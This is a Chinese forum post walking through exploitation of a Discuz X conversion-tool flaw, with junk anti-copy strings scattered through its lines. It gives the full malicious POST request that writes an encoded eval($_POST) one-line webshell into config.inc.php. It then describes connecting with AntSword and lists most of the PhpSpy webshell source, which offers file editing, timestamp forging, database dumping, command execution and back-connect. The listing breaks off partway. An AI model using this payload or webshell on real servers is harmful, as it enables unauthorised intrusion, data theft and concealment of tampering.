找回密码
 立即注册
搜索
查看: 7740|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

986

主题

92

回帖

5万

积分

管理员

积分
55255
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:8 Q; h9 u3 J2 n8 K! T* k
想要拿下一台主机A的权限:
6 u8 j  q) ]* c5 ^! N1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞0 ]7 _% S4 Q7 \0 Y- B, k# L
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
5 G( t4 k! z3 u5 q3、传上去后,得到apache用户普通权限,再提权成root
3 w, \& m% ^1 A0 f5 N) x概述:' h1 d; o! U$ a
这突破在一个DZ X系列自带的转换工具里面。
' Q5 I1 R& b8 p" U7 H1 v  q漏洞路径:utility / convert / data / config.inc.php
6 W) X8 g" ^! N+ S4 V0 P5 E* g漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。7 @) y6 ~4 T- u
触发突破过程:$ T2 H- m* E- f8 P( F" w
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
& W  U$ X- Y5 n4 a; I4 h5 W2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序0 |" t8 Y* Z/ r; {. E% j$ Q
攻击过程:3 ^: B2 j0 B4 T- O4 t+ e* y
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
7 J+ h+ u& D/ I& W
  M0 h( E8 X" W: _1 C& ]# p$ [2 h7 ]1 l- n9 [9 S, m7 P
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
& u$ X2 W) [5 Q& J2 A. G3 O8 G) E$ ]+ v) K! u8 _2 y. z
8、通过中国蚁剑上传大码
3 E( [" j4 H$ |( I5 q0 }- r+ F8 \$ ^: n5 e5 r. a  D
/ l, {) x5 z* J0 ~( Y5 E# P" j
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    5 M, `7 e6 A9 O
  2. ( A& d# m# Z' L, P$ T* Q
  3. /*****************************************************************************
    : A2 d7 i5 g- A4 Y8 ?+ s
  4. 3 D* j- j2 ?7 H- x
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================5 e4 ?! k* y, h- k
  6. 0 r" Q" W3 a1 s4 S. S1 y/ m( x9 ~
  7. ====
    ( u2 B, W6 U3 U: i2 D% V, m, z
  8. ; l4 w2 Q% o  \
  9. 5 P9 p6 y/ C4 o3 L1 k
  10. *****************************************************************************/
    % h" Y* O! Y$ \. q3 q

  11. , Z: a( V' c; {3 F7 f. E. M
  12. error_reporting(7);
    ) u# |* n: `; \, F  m3 C" m
  13. @set_magic_quotes_runtime(0);
    4 s% c. B9 A  a5 j
  14. ob_start();
    - r% W% ?/ k) `7 ^
  15. $mtime = explode(' ', microtime());5 @! X5 u9 r* J
  16. $starttime = $mtime[1] + $mtime[0];5 G2 M" n. i+ }" J# K1 ]" K) u8 p
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');2 l) w+ k# e2 T- I5 N0 C8 Y
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    / W0 ~4 O" F! `# E
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    3 e- C( j: o7 c+ ~/ L$ a8 r
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );4 B$ B3 ~3 w! V- c
  21. define('IS_GPC', get_magic_quotes_gpc());
    , V  j  \/ @) e
  22. $dis_func = get_cfg_var('disable_functions');  Y) l* C" b  l  F
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );+ ^' O. W, `  i5 U5 j
  24. @set_time_limit(0);
    : c& [$ u/ p- ^- }: c2 H; w4 P" U
  25. " S) L* K$ n& C: b- J
  26. foreach(array('_GET','_POST') as $_request) {" }- j$ a' l: Z) |- ?  y
  27.         foreach($$_request as $_key => $_value) {
    0 \% _7 G  t3 O' z8 h5 ]
  28.                 if ($_key{0} != '_') {( X7 i& w! ?2 a; W+ U* x8 A: O( S
  29.                         if (IS_GPC) {4 N4 L3 q$ L' p1 w. {: |2 ^3 h
  30.                                 $_value = s_array($_value);8 }# D8 \% u/ I  D+ v
  31.                         }6 U2 C( h2 e( d) _1 c6 N/ a9 G
  32.                         $$_key = $_value;
    ) Z2 \; \. |7 B
  33.                 }2 R2 |* d9 {" c4 {9 l
  34.         }
    / h; C' Z" {, W, d1 {0 L/ m
  35. }
    ; `# {2 f" y, ~- o2 D, b
  36. 7 p7 P: j8 V$ I
  37. /*===================== 程序配置 =====================*/
      N. ?5 X+ Q0 V/ H% |8 Q
  38. $admin = array();
    ( D0 v1 J; L  ?1 j
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效6 L  v3 a; h4 T4 o: L6 p7 E
  40. $admin['check'] = true;2 N6 u; D% D' {0 c; |  B" L
  41. // 如果需要密码验证,请修改登陆密码1 {1 c0 y2 S5 p2 L
  42. $admin['pass']  = 'xuegod';) m6 _) e( v3 t: Y4 X, {
  43. / w/ |2 U( F+ e6 k7 J- V* h
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认! K( d& j' h: b& ^! I6 `
  45. // cookie 前缀3 ~5 G6 K4 K0 O$ e
  46. $admin['cookiepre'] = '';
    ) j; i5 R3 f' h$ A" ]  E7 Y8 s
  47. // cookie 作用域% U0 g( O  y% d$ A
  48. $admin['cookiedomain'] = '';" y6 C+ U! T$ f' o
  49. // cookie 作用路径/ Y7 K! i( b, `7 T5 d4 @
  50. $admin['cookiepath'] = '/';$ _; X- c4 z4 O# F
  51. // cookie 有效期
    / ?" ~+ A7 H4 i  H* \
  52. $admin['cookielife'] = 86400;
    & C+ i/ e! d8 q3 t8 t% e
  53. /*===================== 配置结束 =====================*/
    3 ~1 B* b6 @9 a2 o

  54. 0 J7 }1 a5 A% L9 g6 `! w' G7 _
  55. if ($charset == 'utf8') {
    % `( u. j% I/ ^+ w5 v4 @: y# \
  56.         header("content-Type: text/html; charset=utf-8");' T8 l9 w% x: \
  57. } elseif ($charset == 'big5') {6 I! ]" |% k9 y8 G) E! N
  58.         header("content-Type: text/html; charset=big5");
    . s! y# f! m& X6 r: t  n% u  f
  59. } elseif ($charset == 'gbk') {: m5 O- o; Z9 C/ J( m( G6 v
  60.         header("content-Type: text/html; charset=gbk");
    3 U& p  \% f9 N8 q; Q
  61. } elseif ($charset == 'latin1') {
    4 v7 G  T& f$ v2 m' b
  62.         header("content-Type: text/html; charset=iso-8859-2");9 m6 }. E% [3 ?7 _; x  d7 l
  63. }/ s" J  \, O- c; X( S

  64. 8 A5 A$ g5 F  }6 A5 K9 @, R
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    $ l8 \/ B# |% y; y1 B
  66. $timestamp = time();
    % x" _- S& d( ?( t

  67. & }% g% P+ d; e7 k
  68. /*===================== 身份验证 =====================*/8 J: F. ?3 c1 \$ W
  69. if ($action == "logout") {
    2 }  L" ^# V. v
  70.         scookie('phpspypass', '', -86400 * 365);& ?$ W3 D, N$ ]2 z) I
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    ! n: j( n) m7 E9 c) @0 p% J
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    # l2 e# ?0 p+ _9 `# Z& H+ {) _
  73.         exit;
    7 S3 O' e0 j7 `1 |
  74. }
      s) Z( V1 K, A4 v1 C' B& r! k
  75. if($admin['check']) {# V' p% i  V! y, e5 @2 L9 K. Z
  76.         if ($doing == 'login') {* H5 u( y+ b: {# E; w/ _
  77.                 if ($admin['pass'] == $password) {
    1 \( ^- o; I+ ]( O
  78.                         scookie('phpspypass', $password);
    - W( v, q' g# r$ c- i
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    2 d7 \* g* F3 I: l1 m- I2 O  _/ J
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');* Y, ?1 Y6 w& j* E
  81.                         exit;
    , L: a& M8 Z6 b+ ^  Q8 L9 R
  82.                 }
    ! M9 g9 J0 U& u% r
  83.         }
    * `6 v- q0 ]& _; `
  84.         if ($_COOKIE['phpspypass']) {
    % Q9 R3 }! [& j+ j/ X  ]
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {6 V. S6 m2 n( F, T" P1 q( ?
  86.                         loginpage();( C1 _% Y) k* ^& \- e, M
  87.                 }; a, U6 T4 t6 w
  88.         } else {2 {* V( F6 i3 [9 F* I2 Z
  89.                 loginpage();
    ! n9 s* e$ P% N, s3 P
  90.         }
    + ]% I* b- D$ C/ x  |7 K
  91. }# c/ D$ T; H7 [) H6 U4 I7 g
  92. /*===================== 验证结束 =====================*/
    2 ^% W& w6 i6 y, l

  93. * @1 _" x- a. W$ Z5 V
  94. $errmsg = '';  M) a. D+ w8 O4 Y9 c6 c' n
  95. ; `/ b0 b. t  E! T+ M$ O/ B
  96. // 查看PHPINFO' r+ W! I" y" w, [3 h- c
  97. if ($action == 'phpinfo') {
    0 a- q, {, O  F
  98.         if (IS_PHPINFO) {% a( q3 J7 i" z% i! C& {. W5 _; w8 y
  99.                 phpinfo();
    7 k( I' b; U$ I/ {  c
  100.         } else {
    " H2 R7 c, v8 E5 r
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    ' ^( |4 [# m( U. A7 q* }4 U2 Y8 v
  102.         }" L( C# D8 u, ^: k' K  _6 N
  103. }
      `6 s( X0 W1 f
  104. + j3 [: i& c( c8 h1 h( m! o
  105. // 下载文件
    6 q% H/ D4 j' B0 g
  106. if ($doing == 'downfile' && $thefile) {
    + V5 O8 D2 y* h, V4 w  V* y6 |
  107.         if (!@file_exists($thefile)) {5 ]: X1 ~4 n- b; V. U7 b: J1 a3 {1 L
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';9 D8 J3 L. U! U- @  K
  109.         } else {
    9 z& E0 j9 m: @+ }
  110.                 $fileinfo = pathinfo($thefile);
    8 z# e8 A7 z4 x) i# E. i8 T
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    3 Z, F# u) ?. Y: I
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);, K  N) e& y# G" n
  113.                 header('Content-Length: '.filesize($thefile));& e+ Z* v* V! i0 V% C, D
  114.                 @readfile($thefile);8 E% Q1 g5 H# \  f3 {& `
  115.                 exit;
    % l' _2 g9 {3 z  U  y
  116.         }
    ' c, W3 o6 g8 ]
  117. }
    9 d" |# w0 P% i. U

  118. 3 T5 ?+ k: d' H/ ?/ o, J% c  k
  119. // 直接下载备份数据库
    8 N3 |. L' e6 b' f! Z3 D
  120. if ($doing == 'backupmysql' && !$saveasfile) {& ]8 ?$ b! h0 C
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    8 B) s/ _6 |6 E; ^" V$ ?
  122.         $table = array_flip($table);8 r, W3 Y9 G' \( `( x* S3 M
  123.         $result = q("SHOW tables");
    ; ~0 r2 S# d: a4 F' E! i6 y
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    8 |( x+ m: O( S2 H! R
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');+ W# A2 s. i6 {2 x" O$ D
  126.         header('Content-type: application/unknown');
    * E3 w; q0 z! Z/ E. w
  127.         header('Content-Disposition: attachment; filename='.$filename);
    6 p7 z' \# x$ ^% p3 X0 o7 k+ X
  128.         $mysqldata = '';
    9 R3 |. l& [( ]! Y
  129.         while ($currow = mysql_fetch_array($result)) {
    + }) z5 {5 H. E
  130.                 if (isset($table[$currow[0]])) {3 x) ]0 n* U% A8 C, B
  131.                         $mysqldata .= sqldumptable($currow[0]);
    * c& J2 u$ u+ R  |. A) z7 I/ f
  132.                 }' _8 b* B$ K$ \1 i% c0 u
  133.         }
    # B+ l6 ?+ M; E- O: [" ]
  134.         mysql_close();
    7 i1 y! x5 O1 l5 P
  135.         exit;
    2 d: k; ^6 {$ j4 _, r( W
  136. }
    : M; ~. D. p7 z) Y, E4 h0 m

  137. $ F2 {* ^4 p" }* o5 c+ i
  138. // 通过MYSQL下载文件9 D0 H* c% A3 f  x2 J5 e" c
  139. if($doing=='mysqldown'){8 V6 a" A, a1 Y" m" o1 e
  140.         if (!$dbname) {3 `- F% z% ?0 G) r: `8 L
  141.                 $errmsg = 'Please input dbname';
    " O& Q7 p$ h0 D8 D' C& f
  142.         } else {3 ~) M1 t4 v% h2 f, j) H, w( W& ^$ p
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    " [' Q$ }! o) p& x
  144.                 if (!file_exists($mysqldlfile)) {' q# q* u  Y" M7 n) I2 I
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    8 `& E) p/ C6 z, n! J$ l/ o
  146.                 } else {  t$ x5 U6 N2 o* k. [- Z$ B+ B7 g5 a
  147.                         $result = q("select load_file('$mysqldlfile');");0 l0 n7 s  @  t
  148.                         if(!$result){
    " t2 v; l! g  g
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
      N0 y+ t3 E7 W" ]" M  ^5 F, Y" Z
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");0 a9 A4 D, j  E1 C6 Q3 P% {6 D
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况5 m, i: S& k5 E7 W6 j
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    # j1 N9 G1 D- L( V5 o
  153.                                 $result = q("select content from tmp_angel");
    4 T6 |8 p  ]2 J
  154.                                 q("DROP TABLE tmp_angel");1 ^0 X8 f3 X- B3 y; A& P5 ]- s
  155.                         }; j. g7 V9 W0 T3 U
  156.                         $row = @mysql_fetch_array($result);
    $ s/ F4 d3 Y' [) A8 G4 t3 f2 ?
  157.                         if (!$row) {
    & |) Y+ c8 _% w: U7 G
  158.                                 $errmsg = 'Load file failed '.mysql_error();# q% H5 X! n% m# z* a& Q/ Z# j; {
  159.                         } else {
    8 M4 a8 i8 Y/ ]4 u) i
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    * N7 B5 J9 g& v- t: ~- g
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    7 K7 a& Q; e- D6 }; D4 X
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    % ]* f: A. v% Q+ b
  163.                                 header("Accept-Length: ".strlen($row[0]));& D( i+ G! r+ P6 l5 k
  164.                                 echo $row[0];
    $ _! Y# n% A4 e. |5 H0 L3 H
  165.                                 exit;
    # u+ Q- M4 F, `8 |1 Z/ Y: `
  166.                         }
    ! W8 k6 A' g; ?
  167.                 }3 q$ J9 U! C" d0 A  f0 H/ o
  168.         }
    / o% U$ O7 \+ v* h9 D
  169. }+ k5 i5 n7 B5 Y- M) `( c! `
  170. ! }: `2 Y# Q; S, ^4 v) p
  171. ?>
    & q& X' W  I, N3 P& e2 u
  172. <html>& g1 W4 [( Y2 A% R9 C
  173. <head>. K* h6 A8 l! l' d! n* S! L/ S
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
    0 {' n9 ~# S  M5 c* K
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
    . Q% e9 N/ c$ `
  176. <style type="text/css">0 `2 M3 H, `/ x* k4 w
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    $ @1 J( r7 w  A+ m
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}$ z# `7 _- g2 e8 @; _! e
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}8 e, g6 q9 h6 o+ R& E/ _
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}- N0 |9 z# s! T) d' [& x
  181. a {color: #00f;text-decoration:underline;}7 K7 V9 k- L7 ]/ J8 C
  182. a:hover{color: #f00;text-decoration:none;}" t& @) R: ~6 {: {9 [- [7 o( I- H8 O
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}% Y! p6 J! P1 i5 l6 E; y7 F0 z
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}6 \1 T$ S: L' N) [$ l& ]5 k0 Q
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}0 E: l( c* ~- o% ]) U
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    ) p2 N7 B) B+ S5 h1 h
  187. .head td span{font-weight:normal;}( I& n+ P1 P9 Q% w% D' \2 {
  188. form{margin:0;padding:0;}6 S! p$ U0 R! K  q
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    ; @, a5 f0 F; Q& C; f5 {4 D
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}( [( ]0 ?8 T9 [% o
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}' u/ \5 R$ m+ }% d5 b) I1 D1 `4 s1 O, m
  192. </style>" X: f* S" p6 ]4 |* Z. X6 a$ l  w
  193. <script type="text/javascript">
    - t5 K# E6 f% j6 k
  194. function CheckAll(form) {
    6 U3 u- e' g/ z
  195.         for(var i=0;i<form.elements.length;i++) {- e- {2 h( P7 v- T8 O* v3 U  z
  196.                 var e = form.elements[i];
    4 L2 e+ U0 G) w3 Z4 o
  197.                 if (e.name != 'chkall')' e/ {% ?+ t5 v$ l+ w# R# H# s
  198.                 e.checked = form.chkall.checked;
    % |) P  \) t: l8 T
  199.     }6 w8 f. ~- f; O- c8 M( f+ m$ j
  200. }
    1 L. z; a" E6 m% R0 U" }- u9 B, r) k
  201. function $(id) {
    2 D: @" h7 l/ C
  202.         return document.getElementById(id);, ~8 v" P; A" z
  203. }% W+ Z* {9 [, d! i+ ~4 U' n
  204. function goaction(act){
    ! I& `: q! z  K: l1 _, X
  205.         $('goaction').action.value=act;2 ]" k6 S" [* e
  206.         $('goaction').submit();; |9 G2 ^: s. B# s) L% ~
  207. }, w" d; F5 p! E3 V' p: K
  208. </script>
    % [- d0 S; B' N& N" c
  209. </head>
    ( |) u4 S; o+ N* ~
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">) p: V/ r0 Z9 Y9 f
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    . p# Y) L# `& l" W8 ^( ^! t
  212.         <tr class="head">9 w  ^) F0 Y4 V
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>' {5 d; f9 ?  Y
  214.         </tr>  r. O2 h$ S2 u" o% j
  215.         <tr class="alt1"># y. i3 x- M3 }+ M1 Z2 \! c+ o7 d
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span># ]& f$ g' W+ N! R; c, B; r
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    2 c2 R  @0 l1 e5 g4 w& O0 |
  218.                         <a href="javascript:goaction('file');">File Manager</a> | + C/ N: O& x# D% s) g+ Q  R" r
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    - s' O4 H8 [: L7 a( Y- |, h
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    1 \1 C/ R  T; a, [2 U) r1 d3 d
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | 0 ^! C8 L4 o0 t; _7 h, q2 C; j1 ^3 ^
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> | 8 D- O& R7 N( Z) ]
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>$ A( H" E/ m* P0 p
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    ' U# ?2 I% ]" o5 o' Z/ c
  225.                 </td>7 ^0 l( C4 U  L" U9 L2 }" J
  226.         </tr>
    3 l$ o2 E- o0 w) n/ H# ]
  227. </table>/ ?( ^# G. v& Y1 S+ }% b/ n; j
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>, O  W+ L6 g3 `8 l0 r6 c
  229. <?php
    8 w) w1 S5 y# K' ^' G0 |; j
  230.   e/ S) h9 G7 |9 D9 y( f
  231. formhead(array('name'=>'goaction'));0 M  A# }( s7 [2 p1 W
  232. makehide('action');8 H9 V5 E' V4 p
  233. formfoot();
    * m4 S) {6 V$ }

  234. 9 M# W. X: ?4 w* L9 P6 A$ Z
  235. $errmsg && m($errmsg);
    1 p& k( n2 Y& z% T7 @) S
  236. / \9 S$ {3 N5 t1 Z) i
  237. // 获取当前路径. y. V# B: s: U! U1 o; ]# E$ z) W9 t- t
  238. !$dir && $dir = '.';- N" ^" d' g: j
  239. $nowpath = getPath(SA_ROOT, $dir);
    / ]6 P) A0 [0 n( l5 k
  240. if (substr($dir, -1) != '/') {2 }, J9 h3 h$ y5 k2 }
  241.         $dir = $dir.'/';" E) W4 U: O/ m( }+ v* k, v
  242. }5 X3 b# o$ l6 G0 V
  243. $uedir = ue($dir);
    6 u- w( a/ P; c
  244. . E" g6 {( X) s8 m% O8 d5 t
  245. if (!$action || $action == 'file') {
    " j% ?" ^6 i' o3 i

  246. 9 ?; K  P. g4 S' j
  247.         // 判断读写情况
    2 i. A1 R/ }, n, W2 ^; s* n( J
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';$ B( J; O4 V, y. `' C
  249. $ A! |) W" V# g2 G' U
  250.         // 删除目录
    ! l6 ?. G3 j8 [
  251.         if ($doing == 'deldir' && $thefile) {0 t6 y! ?7 S, Z# h. g* W7 \! o
  252.                 if (!file_exists($thefile)) {
    , i9 U" |) T; `, K; ?$ g
  253.                         m($thefile.' directory does not exist');5 k7 ]& [9 ^: V1 i
  254.                 } else {
    $ }, x5 f  G* G! G
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    + l- b7 d* R( P+ }3 }) H" L* O9 s
  256.                 }
    ( z1 F4 V- M! ?3 b; M. v3 A! n
  257.         }$ k. o* Y- n% j9 X3 s

  258. ' O; O+ D) }( b2 L/ X
  259.         // 创建目录7 j8 @8 ~2 X( Y; {
  260.         elseif ($newdirname) {
    2 Q) c- a% b0 \) b; m/ O! F3 {
  261.                 $mkdirs = $nowpath.$newdirname;
    1 \, f) `3 ^# e& N
  262.                 if (file_exists($mkdirs)) {1 D! i& y% `; ]
  263.                         m('Directory has already existed');( o! `9 [- t7 g7 T3 o6 O* J
  264.                 } else {; k" ^: }6 c  h
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    + ~. i! S3 m3 l7 P
  266.                         @chmod($mkdirs,0777);
    & b8 w2 q4 v* O, `3 Z: d
  267.                 }
    ' S% m- z" w) F% {, i! p0 c
  268.         }! B! n+ y: y5 p8 [* I6 C3 C

  269. ) s4 ^& y* h" j9 U& b9 [  ^
  270.         // 上传文件
    ; M* E! Y4 g5 ?$ N! Q
  271.         elseif ($doupfile) {' a3 v1 z, J) X( o8 d4 X
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));4 I( l* d! v1 p- T' T
  273.         }
    ( y- Y! l9 W6 N- c1 U+ T1 E% H

  274. + L: e6 v1 k4 Q* h% L: j4 Z+ Q0 T
  275.         // 编辑文件! }" }/ ?4 [2 m# h" l
  276.         elseif ($editfilename && $filecontent) {
    " w+ E; |; w' s2 G5 b! V
  277.                 $fp = @fopen($editfilename,'w');
    1 A* q/ M9 x4 g% t, S* n
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));2 A) d$ P1 u4 F! l  N
  279.                 @fclose($fp);
    5 o& p; s9 D! l! [/ y
  280.         }
    / f: ~( k  `, k9 A& l

  281. 9 I5 K- h3 F. _
  282.         // 编辑文件属性
    : Q" E* H5 v7 O, N" B# o( R
  283.         elseif ($pfile && $newperm) {7 k5 f0 @9 V0 r1 T
  284.                 if (!file_exists($pfile)) {
    : U7 V( b  b$ D0 r5 y8 |3 X
  285.                         m('The original file does not exist');( F/ e. ]7 h1 y
  286.                 } else {5 m( D, U$ S1 R) t+ r
  287.                         $newperm = base_convert($newperm,8,10);% Q' o6 Q4 O. a2 ?
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    4 S, X" z, c( U5 g) Z8 d8 g
  289.                 }9 H( N( ^& p% m1 r+ k
  290.         }# B/ ^" s. c! J9 f$ X1 U- m

  291. 8 \- J7 Y! r3 \+ f0 R+ o2 R
  292.         // 改名
    6 n9 `0 M, J3 w9 U! X2 D4 E* E
  293.         elseif ($oldname && $newfilename) {
    * F- y9 ?: F! W1 W3 A% |7 ~
  294.                 $nname = $nowpath.$newfilename;* b2 D, W# x0 w% n0 o1 C' R  @" S  `. T
  295.                 if (file_exists($nname) || !file_exists($oldname)) {8 E) _; c' m2 g8 v, r- B
  296.                         m($nname.' has already existed or original file does not exist');4 K) c1 ~7 c4 r  p
  297.                 } else {
    ( V) m* q8 ~! }+ ^
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));* W+ W/ Y1 i( N( l
  299.                 }# \) @! Z( }* @8 |
  300.         }) f( b) s5 D  z
  301. 0 B$ W7 R4 H3 D2 s) Y
  302.         // 复制文件
    0 {* ^/ {7 ~5 w+ k+ {
  303.         elseif ($sname && $tofile) {
    $ L4 d+ M/ S% k' H# ^' C  T: D
  304.                 if (file_exists($tofile) || !file_exists($sname)) {. k# ^& B, p  C5 k
  305.                         m('The goal file has already existed or original file does not exist');% o3 U3 h% Q& V+ u/ f! X
  306.                 } else {
    ' B) Z- x/ p4 _
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    2 b' f! e5 ]2 }
  308.                 }
    : Y  E9 w* y7 }4 Z/ K1 }, e& V: E
  309.         }
    4 v! N" y& g) {) U
  310. ! S7 x" ~( V; z- c
  311.         // 克隆时间, b2 O5 y- P. L  v! M& }# ^5 ?3 {0 A3 j
  312.         elseif ($curfile && $tarfile) {! B8 `* x4 W( k; z1 g5 g6 o
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {" B. L, ^* L0 L' l% n( f7 K
  314.                         m('The goal file has already existed or original file does not exist');
    ) }/ E' H( i0 |  \+ a
  315.                 } else {
      B% b; A4 d" B" x. t3 y
  316.                         $time = @filemtime($tarfile);
    8 i& [# |) |0 [, J
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));) O* q& x/ i/ r+ z4 Z, w2 s0 w
  318.                 }
    $ Q% ]! |7 e9 m# h0 x: I
  319.         }
    2 a4 d: W% Y% P
  320. 9 G2 B( Q- Q. R( v2 n: q
  321.         // 自定义时间
    9 ]$ `, N6 a6 Z  ]5 M/ }
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {+ B/ N5 O; k: f. F& m7 m
  323.                 if (!@file_exists($curfile)) {
    % s& I- w6 g# k  G% ?
  324.                         m(basename($curfile).' does not exist');
    7 a: W2 |5 l7 J+ L2 ?* T/ z
  325.                 } else {. C1 }; U" c& g/ B$ {
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");" |4 W* m/ f/ P4 {9 Q# m
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    6 y+ N8 Z% f, L2 E% `# e8 E) i
  328.                 }
    $ I5 V7 R6 D' k, f+ m# ?
